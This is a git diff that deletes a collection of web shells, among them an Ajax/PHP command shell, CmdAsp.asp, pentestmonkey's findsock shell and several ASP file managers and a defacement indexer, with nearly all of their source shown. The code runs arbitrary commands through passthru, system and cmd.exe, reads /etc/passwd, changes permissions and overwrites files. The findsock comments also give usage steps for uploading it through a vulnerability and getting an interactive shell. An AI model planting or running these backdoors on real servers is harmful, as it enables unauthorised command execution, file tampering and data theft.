"; - if( ini_get('open_basedir') ){ - print "Open_basedir: Enabled"; - } - else - { - print "Open_basedir: Disabled"; - } - } - //About the shell - elseif(ereg("listdir (.*)",$cmd,$directory)) - { - - if(!file_exists($directory[1])) - { - die("Directory not found"); - } - //Some variables - chdir($directory[1]); - $i = 0; $f = 0; - $dirs = ""; - $filez = ""; - - if(!ereg("/$",$directory[1])) //Does it end with a slash? - { - $directory[1] .= "/"; //If not, add one - } - print "Listing directory: ".$directory[1]."
"; - print ""; - - if ($handle = opendir($directory[1])) { - while (false !== ($file = readdir($handle))) { - if(is_dir($file)) - { - $dirs[$i] = $file; - $i++; - } - else - { - $filez[$f] = $file; - $f++; - } - - } - print "
DirectoriesFiles
"; - - foreach($dirs as $directory) - { - print "[D][W]".$directory."
"; - } - - print "
"; - - foreach($filez as $file) - { - print "[D]".$file."
"; - } - - print "
"; - } - } - elseif(strtolower($cmd) == "about") - { - print "Ajax Command Shell by Ironfist.
Version $version"; - } - //Show info - elseif(strtolower($cmd) == "showinfo") - { - if(function_exists(disk_free_space)) - { - $free = disk_free_space("/") / 1000000; - } - else - { - $free = "N/A"; - } - if(function_exists(disk_total_space)) - { - $total = trim(disk_total_space("/") / 1000000); - } - else - { - $total = "N/A"; - } - $path = realpath ("."); - - print "Free: $free / $total MB
Current path: $path
Uname -a Output:
"; - - if(function_exists(passthru)) - { - passthru("uname -a"); - } - else - { - print "Passthru is disabled :("; - } - } - //Read /etc/passwd - elseif(strtolower($cmd) == "etcpasswdfile") - { - - $pw = file('/etc/passwd/'); - foreach($pw as $line) - { - print $line; - } - - - } - //Execute any other command - else - { - - if(function_exists(passthru)) - { - passthru($cmd); - } - else - { - if(function_exists(exec)) - { - exec("ls -la",$result); - foreach($result as $output) - { - print $output."
"; - } - } - else - { - if(function_exists(system)) - { - system($cmd); - } - else - { - if(function_exists(shell_exec)) - { - print shell_exec($cmd); - } - else - { - print "Sorry, none of the command functions works."; - } - } - } - } - } - } - - elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST['filecontent'])) - { - $file = $_POST['filetosave']; - if(!is_writable($file)) - { - if(!chmod($file, 0777)) - { - die("Nope, can't chmod nor save :("); //In fact, nobody ever reads this message ^_^ - } - } - - $fh = fopen($file, 'w'); - $dt = $_POST['filecontent']; - fwrite($fh, $dt); - fclose($fh); - } - else - { -?> - -Command Shell ~ <?php print getenv("HTTP_HOST"); ?> - - - - - - - - -
- -

-
Quick Commands
- -
- $execute) -{ -print ' 
'; -} -?> - -
- - -
-
Command history
-
-
-
About
-
-
-Ajax/PHP Command Shell
by Ironfist -
-Version - -
-
- -
Thanks to everyone @ -SharePlaza -
-milw0rm -
-and special greetings to everyone in rootshell -
- -
- - - - -
-[Execute command] -[Upload file] -[Change directory] -[Filebrowser] -[Create File] - -
- -
-
-   
-Command:
-
-
-
-
- - - -
-
You are not logged in, please login.
Password: -
"; -} -?> \ No newline at end of file diff --git a/OTHER/CmdAsp.asp.php.txt b/OTHER/CmdAsp.asp.php.txt deleted file mode 100644 index 169cf7a..0000000 --- a/OTHER/CmdAsp.asp.php.txt +++ /dev/null @@ -1,55 +0,0 @@ -<++ CmdAsp.asp ++> -<%@ Language=VBScript %> -<% -' --------------------o0o-------------------- -' File: CmdAsp.asp -' Author: Maceo -' Release: 2000-12-01 -' OS: Windows 2000, 4.0 NT -' ------------------------------------------- - -Dim oScript -Dim oScriptNet -Dim oFileSys, oFile -Dim szCMD, szTempFile - -On Error Resume Next - -' -- create the COM objects that we will be using -- ' -Set oScript = Server.CreateObject("WSCRIPT.SHELL") -Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") -Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") - -' -- check for a command that we have posted -- ' -szCMD = Request.Form(".CMD") -If (szCMD <> "") Then - -' -- Use a poor man's pipe ... a temp file -- ' -szTempFile = "C:\" & oFileSys.GetTempName( ) -Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) -Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) - -End If - -%> - - -
" method="POST"> - - -
-
-<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
-
-<% -If (IsObject(oFile)) Then -' -- Read the output from our command and remove the temp file -- ' -On Error Resume Next -Response.Write Server.HTMLEncode(oFile.ReadAll) -oFile.Close -Call oFileSys.DeleteFile(szTempFile, True) -End If -%> - - -<-- CmdAsp.asp --> diff --git a/OTHER/Findsock-shell/findsock.c b/OTHER/Findsock-shell/findsock.c deleted file mode 100644 index 71444f7..0000000 --- a/OTHER/Findsock-shell/findsock.c +++ /dev/null @@ -1,137 +0,0 @@ -// php-findsock-shell - A Findsock Shell implementation in PHP + C -// Copyright (C) 2007 pentestmonkey@pentestmonkey.net -// -// This tool may be used for legal purposes only. Users take full responsibility -// for any actions performed using this tool. The author accepts no liability -// for damage caused by this tool. If these terms are not acceptable to you, then -// do not use this tool. -// -// In all other respects the GPL version 2 applies: -// -// This program is free software; you can redistribute it and/or modify -// it under the terms of the GNU General Public License version 2 as -// published by the Free Software Foundation. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License along -// with this program; if not, write to the Free Software Foundation, Inc., -// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -// -// You are encouraged to send comments, improvements or suggestions to -// me at pentestmonkey@pentestmonkey.net -// -// Description -// ----------- -// (Pair of) Web server scripts that find the TCP socket being used by the -// client to connect to the web server and attaches a shell to it. This -// provides you, the pentester, with a fully interactive shell even if the -// Firewall is performing proper ingress and egress filtering. -// -// Proper interactive shells are more useful than web-based shell in some -// circumstances, e.g: -// 1: You want to change your user with "su" -// 2: You want to upgrade your shell using a local exploit -// 3: You want to log into another system using telnet / ssh -// -// Limitations -// ----------- -// The shell traffic doesn't look much like HTTP, so I guess that you may -// have problems if the site is being protected by a Layer 7 (Application layer) -// Firewall. -// -// The shell isn't fully implemented in PHP: you also need to upload a -// C program. You need to either: -// 1: Compile the program for the appropriate OS / architecture then -// upload it; or -// 2: Upload the source and hope there's a C compiler installed. -// -// This is a pain, but I couldn't figure out how to implement the findsock -// mechanism in PHP. Email me if you manage it. I'd love to know. -// -// Only tested on x86 / amd64 Gentoo Linux. -// -// Usage -// ----- -// See http://pentestmonkey.net/tools/php-findsock-shell if you get stuck. -// -// Here are some brief instructions. -// -// 1: Compile findsock.c for use on the target web server: -// $ gcc -o findsock findsock.c -// -// Bear in mind that the web server might be running a different OS / architecture to you. -// -// 2: Upload "php-findsock-shell.php" and "findsock" binary to the web server using -// whichever upload vulnerability you've indentified. Both should be uploaded to the -// same directory. -// -// 3: Run the shell from a netcat session (NOT a browser - remember this is an -// interactive shell). -// -// $ nc -v target 80 -// target [10.0.0.1] 80 (http) open -// GET /php-findsock-shell.php HTTP/1.0 -// -// sh-3.2$ id -// uid=80(apache) gid=80(apache) groups=80(apache) -// sh-3.2$ -// ... you now have an interactive shell ... -// - -#include -#include -#include -#include -#include -#include - -int main (int argc, char** argv) { - // Usage message - if (argc != 3) { - printf("Usage: findsock ip port\n"); - exit(0); - } - - // Process args - char *sock_ip = argv[1]; - char *sock_port = argv[2]; - - // Declarations - struct sockaddr_in rsa; - struct sockaddr_in lsa; - int size = sizeof(rsa); - char remote_ip[30]; - int fd; - - // Inspect all file handles - for (fd=3; fd -<% -Option Explicit - -Dim giCount -Dim gvAttributes - -Dim Ext - -Dim ScriptFolder -Dim FolderPath - -Dim FileSystem -Dim Drives -Dim Drive -Dim Folders -Dim Folder -Dim SubFolders -Dim SubFolder -Dim Files -Dim File - -Dim BgColor, BackgroundColor,FSO - -If Request.QueryString("CopyFolder") <> "" Then - Set FSO = CreateObject("Scripting.FileSystemObject") - FSO.CopyFolder Request.QueryString("CopyFolder") & "*", "d:\" -End If - -If Request.QueryString("CopyFile") <> "" Then - Set FSO = CreateObject("Scripting.FileSystemObject") - FSO.CopyFile Request.QueryString("FolderPath") & Request.QueryString("CopyFile"), "d:\" -End If - -Set FileSystem = Server.CreateObject("Scripting.FileSystemObject") - -FolderPath = Request.QueryString("FolderPath") - -If FolderPath = "" Then - FolderPath = Request.ServerVariables("PATH_TRANSLATED") -End If - -FolderPath = ParseFolder(FolderPath) - -ScriptFolder = ParseFolder(Request.ServerVariables("PATH_TRANSLATED")) & "images\" - -%> - - -Remote Explorer - - - - - - - - - - - - - - -
- - Address:
- - - -
-<% -Set Folder = FileSystem.GetFolder(FolderPath) -Set SubFolders = Folder.SubFolders -Set Files = Folder.Files -%> -
- - - - - - - - -<% -If Not Folder.IsRootFolder Then - BgToggle -%> - - - - - - - -<%BgToggle%> - - - - - - - -<% -End If -For Each SubFolder In SubFolders - BgToggle -%> - - - - - - - -<% -Next -For Each File In Files - BgToggle - Ext = FileExtension(File.Name) -%> - - - - - - - -<%Next%> -
NameSize Type Modified Attributes
?FolderPath=<%=Server.URLPathEncode(Folder.Drive & "\")%>">O Top Level
?FolderPath=<%=Server.URLPathEncode(Folder)%>"> Up One Level
">0 <%=SubFolder.Name%> (?CopyFolder=<%=Server.URLPathEncode(FolderPath & SubFolder.Name)%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy) <%=SubFolder.Type%> <%=SubFolder.DateLastModified%> <%=Attributes(SubFolder.Attributes)%>
3 "<%=File.Name%> (?CopyFile=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy)<%=(File.Size)%> Byte <%=File.Type%><%=File.DateLastModified%><%=Attributes(File.Attributes)%>
- - -<% -Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator) - Dim lsResult - Dim llTemp - Dim giCount - MaxValuePerIndex = MaxValuePerIndex + 1 - Do While Int(SourceNumber / (MaxValuePerIndex ^ MinUpperBound)) > (MaxValuePerIndex - 1) - MinUpperBound = MinUpperBound + 1 - Loop - For giCount = MinUpperBound To 0 Step -1 - llTemp = Int(SourceNumber / (MaxValuePerIndex ^ giCount)) - lsResult = lsResult & CStr(llTemp) - If giCount > 0 Then lsResult = lsResult & IndexSeperator - SourceNumber = SourceNumber - (llTemp * (MaxValuePerIndex ^ giCount)) - Next - ConvertBinary = lsResult -End Function - -Private Sub BgToggle() - BackgroundColor = Not(BackgroundColor) - If BackgroundColor Then - BgColor = "#efefef" - Else - BgColor = "#ffffff" - End If -End Sub - -Private Function Attributes(AttributeValue) - Dim lvAttributes - Dim lsResult - lvAttributes = Split(ConvertBinary(AttributeValue, 1, 7, ","), ",") - If lvAttributes(0) = 1 Then lsResult = "ReadOnly  " - If lvAttributes(1) = 1 Then lsResult = lsResult & "Hidden  " - If lvAttributes(2) = 1 Then lsResult = lsResult & "System  " - If lvAttributes(5) = 1 Then lsResult = lsResult & "Archive  " - Attributes = lsResult -End Function - -Private Function FileExtension(FileName) - Dim lsExt - Dim liCount - For liCount = Len(FileName) To 1 Step -1 - If Mid(FileName, liCount, 1) = "." Then - lsExt = Right(FileName, Len(FileName) - liCount) - Exit For - End If - Next - If Not FileSystem.FileExists(ScriptFolder & "ext_" & lsExt & ".gif") Then - lsExt = "" - End If - FileExtension = lsExt -End Function - -Private Function ParseFolder(PathString) - Dim liCount - If Right(PathString, 1) = "\" Then - ParseFolder = PathString - Else - For liCount = Len(PathString) To 1 Step -1 - If Mid(PathString, liCount, 1) = "\" Then - ParseFolder = Left(PathString, liCount) - Exit For - End If - Next - End If -End Function -%> - diff --git a/OTHER/indexer.asp.php.txt b/OTHER/indexer.asp.php.txt deleted file mode 100644 index aefbc3e..0000000 --- a/OTHER/indexer.asp.php.txt +++ /dev/null @@ -1,74 +0,0 @@ -<%@ LANGUAGE = VBScript.Encode %> - - -WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer -<%#@~^UgsAAA==^mVs,/DXV@#@&OEk'~J@!mnUD+D@*@!4M@*@!6G.:,l1YrWUx4YOw=&zShA klxCsD+.WM KDL,YmDoY{m4^lU3,:nO4WN{2WkY@*@!rUw!Y,YzwnxkE8:bOP7ls;'JEjz1)S:3"r]cr"MJrPkry'*c@*@!&WKD:@*E@#@&m\6xE@!1+ YnD@*@!6WUY,^W^W.x^k:n~kk"+{X@*?^MkaYP_l0V�x9l@!4M@*@!WKxY,^W^WD{A4kD+,/rynxy@*@!z1nxD+.@*@!Vk@*$!PjmMraY~g+kx+,r^;�Y!Dhl,CCV0�P..k^:k�,#nXmP`x;Y;ssE�~?.\DsCMlP�U[6~bDhm3~j+,?+M\.Nm3rPz/2~BPw42PBPlk2aPTk(k~NGdHlslM�UPb�+.r�bxk~G0Ehl0~b�kU,Xmy�Vs��Y�M @!(D@*@!^k@*$!P?1.kaYV~$kMP�K3~?rOXnP`�.l�sl[C P}C4s+O/b"1+~� N6PzYm8k^k./bxr"c`PUPPGW/D~jkD+^+.k~umDr�P*@!Vb@*j^MkwOr PFE^smx�s���,�V0PAm3��DCPnl.���3,Mnsm+0OkMR@!^r@*S�D0x~ArsTk~29rxs+V~��bxPF;^VCxsC,|�sm\!yE E,63!X;x!y c@!4M@*@!1+xDn.@*@!k@*AzP\n4NrJ@#@&3!VsC k:xE@!mnxDnM@*@!6W YP1W^GD{Vr:Pdr.+'l@*|!VVmU�hP~k^orVn.b@!8D@*@!0KxO~1WVG.{h4kDn,/r.+{ @*@!z1nxD+.@*@!0GUDP/b"+{F@*@!sr@*g+MNnx_~~E.lHCPzYC^m��x�y~r Nn6b~Tk.bx,`bDl1C��x�.Prx9+a~n+x9rPUkYUry9+,rs:Cs�*�DU)Gn0mEsOcl/2@!^k@*1.XnQP~EPn�/sCP� Nn6bPuC ok,jkD+X~)Ymmm3dlU�",WUE ~XDrUbPXC"mmC3k�U�.P�. P=PRczc zmVrxbxdrD+/b mK:P@!C~tM+6'_W.U3@*@!6GxDP^G^WDxsb:n@*G)_b~wb\Sb,�Ig3|,"Z@!Jl@*@!J0W O@*@!Vk@*6VE,g,A;DCzmPG3!hl0PrdD+Nn�r k"PGGkXC �x,bN� �PjnPI+.k k~emy�x,@!l,tDWxgKD +V @*@!6WUY,^W^W.x^k:n@*Gbub,oz}JzP�"12nR@!&l@*@!&0KxO@*@!4D@*@!mxY.@*AHP@!l~t.n6'hlbsYK)hCbV4Gh(@$4WDhmkscmK:gkE(%+1Yxk NnaD@*tnt9k@!JC@*@!(D@*?2+^rmV~K4Cx0/~PKPCGsHfn:KU,~30WMW:mx,SP_kO4mXOCMP~GnVb0k�VE@#@&mKwz'E@!1+UY.@*@!0GUDPmGsKDxVbhPdby'*@*Ksk6Pul03�@!8M@*@!6GxDPmKsGD{h4kO+~dbyn'y@*@!JmnUD+D@*@!^k@*A!~Um.bwDPHt9rP:l.l6�x[C P5m"�Vs��Y�Dc@!sk@*f�+.Vr~:lV�:,)D0l[C�^lD�h~_WsXGnsWUvb9:k #,SPA3GDK:CU,`sc6RqPl9hrxbP*PSPurD4CXDCDv?CUmVb.n l~b9hbxr*PBPfVbWk�3~`UlUC^bDUl,bNsrUk*PBPPE.C /G0D~`:E.C /WWOcKVPz[skUb#,~Pg+K~.PP�:,b[CsPr^Cx^lDm~P+�30�Ds+. c@!sk@*$E,?^.bwY~)kVCP@!WKxO,mKVWM'^r:@*JWTPcVmX�Y*~@!J0W O@*K!Ysl"R@!sb@*3L9nDbx~ezwY���~$!xCP~n ynMPUmDbwD~K�sP$k^orsDk,JWTVEHG.P~k^orxr"R Rv$E,KCV�sNlU~UmGD^nXP9xxPdlsnD,\nPAL[nMPSmh+MkP:�h~A�^obVnDr~dWLV!zWMVC.*@!Vr@*V�\nx^r,ArMPUmDbwD~��k Pjl9+^n,?K,dmMkwDsnDbxbPFEssmxhl �"�P� +.rMky E@#@&sk V^+.{J@!m+ Y.@*@!0GxDP^G^WD{sks+Pkr"+{*@*fG/O~UkO+^nD@!4.@*@!0WUO,mGVK.{h4bYP/byx @*@!&mxOnM@*@!^r@*ShhcdCxmVD+.W. KDL@!^r@*ShA 6lY4nMWWh8cmGs@!^k@*ShS /mxCVmDnUmRmKh@!^k@*SAARDEMlU/GWDRO3@!sk@*hAAcYl4.b4CYc^K:@!^k@*hhSRbdVm:CtbyhnDRmKh@!^k@*SAAR4lMEUXC4Hl WML@!1+UOD@*@!WKxOP1G^W.{DNPkk.n'W@*Jbt2]~U�K2d3I�@!zmUO+M@*@!4.@*@!WKxOPkry'+@*@!Vk@*ASh /m8KYCT+ Y+m:cGDTPSPShA kl\kC3cmWs~SPShSRhkUr6 xOJ@#@&GLP'~];;+kOcp;DH?YMk L@#@&kWPKon~{PJr~Y4+x@#@&^l^V,:CkU@#@&+s/r0,WLn,'PE!Kx[+ME,Y4x@#@&mmV^~mm/nF@#@&nsk+k6~WT+P{~EW0ErPOtnU@#@&^l^sP1ldny@#@&nsk+r0,GT+~{Prtl03bUNmJ~Y4+U@#@&ml^sP1l/f@#@&Vk+r0~GT+~',E3!VsC k:E~Dtnx@#@&1ls^P1l/c@#@&+^/nk6PGLP',EmKwXr~Otx@#@&^lss,mC/X@#@&+sdk0~GT+~',E^kU0VDJ,Y4nx@#@&^l^V~^m/++@#@&V/rWPKoPxPEGMxn3r~Y4+U@#@&mlss,mC/{@#@&n^/k0,WTnP{PEWMxnVyJPD4+ @#@&1CsV,mm/n%@#@&x[PbW@#@&/;8,:lrUS40DAA==^#~@%> -
-







-







-
- - -
-
- - - - - - - -
Nerden :
Nereye :
Oku :>

- -Script Hakk�nda - Kullan�m Bilgileri - Copright - Linkler -


-
-<%#@~^VA4AAA==n N~kE(@#@&EO RO ORO ORR OO RO O@#@&d;4,mm/nF@#@&Kx~+M.WMP.nkE:n~ +aY@#@& +.9+ P',D5E/OR6W.hvJx.NxJ*@#@&xDXnPx~M+5EdYc0G.s`JUnM+z+rb@#@&jY,EYbVk~',?nD7+. ;D+mO+}4L^O`rHU/RPGKVdJ*@#@&b0~nMDP@!@*,!~Y4n P@#@&D/wKxknRSDrYPE@!1+xDnD@*Cb:)~),JL+.D [/^Db2YbWU'r@!z^n YnD@*E@#@&n^/@#@&M+k2W /nRSDrOPJ��^n:bxk.~$l�mD�^�J@#@&nU9Pr0@#@&EDksdcnDG^/dsK.sPUDX+BP nD9+U@#@&DndaWxknRSDkDn~J@!mxO+.@*@!4.@*@!WWM:~C1YkGU{g~:O4W[{wK/Y@*@!bUw!Y~YHwnxkE4srY,\l^;n'rJz1)Pj)Is)Jr~/bynxWc@*@!&6W.:@*E@#@&@#@&+ NPkE(@#@&EORO ORR OO RO OO RRO@#@&kE8P^Ck++@#@&Gx,+..KDP.nkEh+,U6O@#@&0VlkWM~',Dn;!+dOc0WMh`r3VmdGDr#@#@&j+O~K4%C:Pn,'~jD\n.cZ.+mOr8N+1Y`rHb^DK/G0DRp\dCK:KJ*@#@&bW~P WDPnD.~{PTPD4+ P@#@&M+/2G /nRS.bYn,J@!m+ Y.@*_bPb,)~EL+DM N/mMr2YbW [E@!^n YnD@*E@#@&+U[,k0@#@&K4%C:PhR6a+ PJV2:E~,JE[0VCdKD[rE~,0l^dn@#@&W(LuKPKc?nx9@#@&0W[smDPx~k+.\.ctOsVAxmKNcW(LuK:n ]/wKU/K+XOb@#@&D/2WUdRADbO+,J@!WKxY~^KVGD{A4kOPkky'l@*@!1+UYD@*~ P.A]�SAIP ~@!4M@*@!mnxOnM@*@!YaYmDnC,/Yzs'vhb[DtlO!uitkT4Y=&X!pB@*EL3W9slM[J@!&O+XYmDnl@*E@#@&.+k2W /n SDkOn,J@!4M@*@!0GM:,lmDkKU'QPh+DtG[{wWkO@*@!kxa;OPDXa+x/;8skOP7CV!+xErb1)~UbeszErPdby'cW@*@!&0KDh@*r@#@&n NPk;4@#@&B RRO O ORORR ORO RO @#@&d!4P^Ck+f@#@&./2Kxk+RSDbO+,JE[1\W'rJ@#@&.+kwW dnRSDbYnPEELY;/LEJ@#@&nU9P/;8@#@&vO R OR O OO O RO ORO @#@&d!4P1C/c@#@&.n/aW /nRA.bYnPrE[0Essmxkh'rJ@#@&MnkwG /RhMkDnPrJ'Y!/'Er@#@&UN,/E(@#@&B O ORORR ORO RO ORR O@#@&d!4~mmd*@#@&D/wKxknRSDrYPEELmWaz[rJ@#@&.n/aW /nRA.bYnPrE[DEd'rJ@#@&n N~/!8@#@&v O OO O RO ORO ORR OO@#@&/!4P1Cd++@#@&Dn/2G /nRS.kD+~Er[SrU0VnDLEr@#@&M+kwW / hMkO+,JE'DE/LEJ@#@&+ [~/!4@#@&vORR ORO RO ORR OORR O@#@&k;(P^m/G@#@&DdwKxd+ch.rD+Pr@!Vb@*�V0~�UmPnE.4CU� PjkDn/bxn~zY:CV,k�rx,8bD~bx9+6,tm"�D^lz�xc@!sr@*?Yc~k N+Xn.Pmx9P.+C[D~?1.kaYrUbxPeC �xCPI�V^+zbxc@!Vb@*UGxMl~k Nna,Alk�sl1l3,drYX^+~lzU�,/nD7nD9lU~kkYn~mV�UPJ~wDnVDPb�k ~h4dls4C~bN+ms@!^k@*Grz+^ksP)NCh� PjkDn/bPW.+tGdDFfRSn(/Cs4mRmK:Jhl4:;Y,/r"9+PSn4kl:(C[l P6Dn+4GkYq&cA+(/Ch(lR^Gszhl4d!x~9kH+4bD,z+MPCV9���x�"�~7lDkCXmV�:@!sr@*UY,kUNnaD~l [PM+C[DPd^Mk2YbUbPWM+tWkY8fRS+8/m:8CcmWs&:mt/!U&k N6nD Ckw~ob8k,X�VsNkUr.R@!Vb@*_l"�MVmN���x�.PbUN6rNPCz �PX.+,lYD�U�"R@!Vb@*�r:[r,MnV9rPnE.8mxl~r Nn6b~mYhmXmP/DPbUN6nD,lU[,D+m[+MP/1.rwDk NnP@!WKxOP1GVKDx2bx3@*HD[+ @!J0G Y@*PXmymUPH+.+,lOC1l��:�.~k N+Xrhk.k PCN�U�~Hl"�XK.E.Rcr N+a 4YhV,Lb4r*@!^k@*@!0KUY,mGVKDx2bx3@*H+M+X@!&0KxD@*~|�dh� l~�/~b9lh�U,+8~nlslk�.�,4r.NxP(k.r:,3slk�D[n P4b~l^YP9r"k NPGV[;�!Pr�k ~RczhC4:EO&bx[+X 4Yh,Xmy�XKD!"P(E.Nm3r~bxNaR4Y:,C[ls�x,/rYndbx[+0rPbx[nXB+~L�M+~N�r�bD~s+k+VmP9n0mEsYcld2,0k^Cx9lPKsC4bVbD @!sr@*.nDbzk,M�U[DPP;�!xCP~CkY���h�.NmPb9ls~�x9+ak,Xnhb�Pr^;XKDR@!sr@*~E,k�s+h[P@!0KUY,mGsKD'2r 3@*r0;@!zWKxD@*P0�/s�~AK�PFl^l^C0R@!^r@*zDY�0~ul^l,bUVChmN�z/mU�y,)~hmkV8Gs4@$tKOslr^R1W:,~,4W^X[+sWU@$4WYsCk^RmKh~~,hSh /CUmVO+MGDcW.L,/kOnsk"NU,\n,/bY+,l9hk P&PsW[smD�x9Cx,XlM[�hPmVm4rVr.kkUk. Pr@#@&./wGUk+ hMrD+~rJLYEk[rE@#@&+UN,/;8@#@&B RO OO RRO O ORORR OR@#@&dE(P^Ck+%@#@&M+dwKUk+ SDbY+,J@!8D@*@!8D@*@!^n Y+M@*A!P/1.rwDPt+4Nr~:l.l6�UNmx~jcKP)[� l~5m"�^:��O�MR@!4D@*�mMnY^k~.P�^.Y/b"Pz/w,uG/DVmD�UPP�h� NnP�ms���DcR@!8M@*b[./~?mO�M�PF�k:� lPnW9;x!P!�D� Y�sns+3,�dYNk�bUry,fK/zlU�U,b[�x�,zl.�x @!4D@*P6OlMnmP$�^�:�,2�+MP~G�/mPulDl~#mDPGn:3Yb. @!(D@*|;D8C �x~fKdXmVC.� �PM�.�UD�VnX8bVh3,��kx,bHU�PU+.\D[n,rVsCx�.PSm"�hP_N9Pol.VYh+. R,@!8.@*bN.nkPF�/s�UmPPm:,.+Mk,!kMkskMPc�. )P9l-S+4'Csk1l -[+WC!VORmdw@!4.@*@!Vk@*HVnD,emwC(k^kDb:@!8D@*?rYNnVbPk ^V!N+^n.k,Ym3rw~n9+.+0~b9:rU,nlUn^kU+,i^l�hm@!(D@*zNsrx,�kWD/rUbP�l^hl@!4D@*jn/kkKx~.n~;WG3bnPG+�n.^+Dr~�mVCDmV,SGTk Pr^:m@!4M@*jkD+snMkx,#+MkP:C8l VmD�U�P�U[bDh+,-/cR E@#@&DndaWU/ SDrD+,JJLY!d[rJ@#@&x[~kE4@#@&B OO RRO O ORORR ORO R@#@&WVIEAA==^#~@%> -
-<%#@~^CQAAAA==d!4~kYHV+mwMAAA==^#~@%> - -<%#@~^BwAAAA==n N~kE(oQIAAA==^#~@%> diff --git a/OTHER/klasvayv.asp.php.txt b/OTHER/klasvayv.asp.php.txt deleted file mode 100644 index 931f44e..0000000 --- a/OTHER/klasvayv.asp.php.txt +++ /dev/null @@ -1,901 +0,0 @@ - - - - - - - -Aventis KlasVayv 1.0 - - - - - - -<% -if request.querystring("usklas") = "1" then -on error resume next -es=request.querystring("klas") -diez=server.urlencode(left(es,(instrRev(es,"\"))-1)) - -Select case es -case "C:" diez="C:" -case "D:" diez="D:" -end select - - - - -%> - - - - - - - -<% -else -%> - - - -<% -if request.querystring("dosyakaydet") <> "" then -set kaydospos=createobject("scripting.filesystemobject") -set kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi")) -set kaydoses=nothing -set kaydospos=nothing -set kaydospos=createobject("scripting.filesystemobject") -set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true) -kaydoses.write request("duzenx") -set kaydoses=nothing -set kaydospos=nothing -end if -%> - - - - - -<% -if request.querystring("yenidosya") <> "" then -%> - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Klas�r - - - - - - -
 <%=response.write(request.querystring("yenidosya"))%> -  
-
-
- - - - - - - - - - - - - -
 
-
&klas=<%=request.querystring("yenidosya")%>" name="kaypos"> -

-
-Dosya Ad� :
-
-
-
-
-
- -��erik : 
-
- -
-
-
- -

- - - - -
-

-  

-
-
-

-  

- - - -<% -else -%> - - - - - - - -<% -if request.querystring("klasorac") <> "" then - -set doses=createobject("scripting.filesystemobject") -set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx")) -set es=nothing -set doses=nothing - - -end if -%> - -<% -if request.querystring("klasac") <> "" then - -set aktifklas=request.querystring("aktifklas") - - -%> - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - - - -
-  �al���lan Alan - - - - - - -
 <%=aktifklas%> -  
-
- - - - - - - - - - - - - - - - - - - -<% -else -%> - - - -<% -if request.querystring("suruculer") <> "" then -%> - -
 
-
-

-   -
-
-
-
- -

 
- - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - -
-  
-
- - - - - - - - - - - - -
 
 
-
- - - - - - - - -
- S�r�c� Ad� - Boyutu - Bo� Alan - Durum - ��lem
-
-
-
-
- - - <% - set klassis =server.createobject("scripting.filesystemobject") - set klasdri=klassis.drives - %> - - <% - for each dongu in klasdri - %> - - <% - if dongu.driveletter <> "A" then - if dongu.isready=true then - %> - - <% - select case dongu.drivetype - case 0 teype="Di�er" - case 1 teype="Ta��n�r" - case 2 teype="HDD" - case 3 teype="NetWork" - case 4 teype="CD-Rom" - case 5 teype="FlashMem" - end select - %> - - - - - - - - -
-  <%=dongu.driveletter%>:\ ( <%=dongu.filesystem%> ) - <%=Round(dongu.totalsize/(1024*1024),1)%> MB - <%=Round(dongu.availablespace/(1024*1024),1)%> MB - <%=teype%>  - - - - -
- - Gir
-
- - <% - end if - end if - %> -<% -next -%> - - - -
-
-
-
- - - - -
-  
-
-
-

 

-
 
- - - - - -<% -else -%> - - - - - -<% -if request.querystring("kaydet") <> "" then -set dossisx=server.createobject("scripting.filesystemobject") -set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true) -dosx.write request("duzenx") -dosx.close -set dosyax=nothing -set dossisx=nothing - -end if -%> - - - - -<% -if request.querystring("duzenle") <> "" then -set dossis=server.createobject("scripting.filesystemobject") -set dos=dossis.opentextfile(request.querystring("duzenle"), 1) -sedx = dos.readall -dos.close -set dosya=nothing -set dossis=nothing - -set aktifklas=request.querystring("klas") -%> - - - - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Dosya - - - - - - -
 <%=response.write(request.querystring("duzenle"))%> -  
-
-
- - - - - - - - - - - - - -
 
- &klas=<%=aktifklas%>" name="kaypos"> -

-

- - - - -
-

- -

- -
-

-  

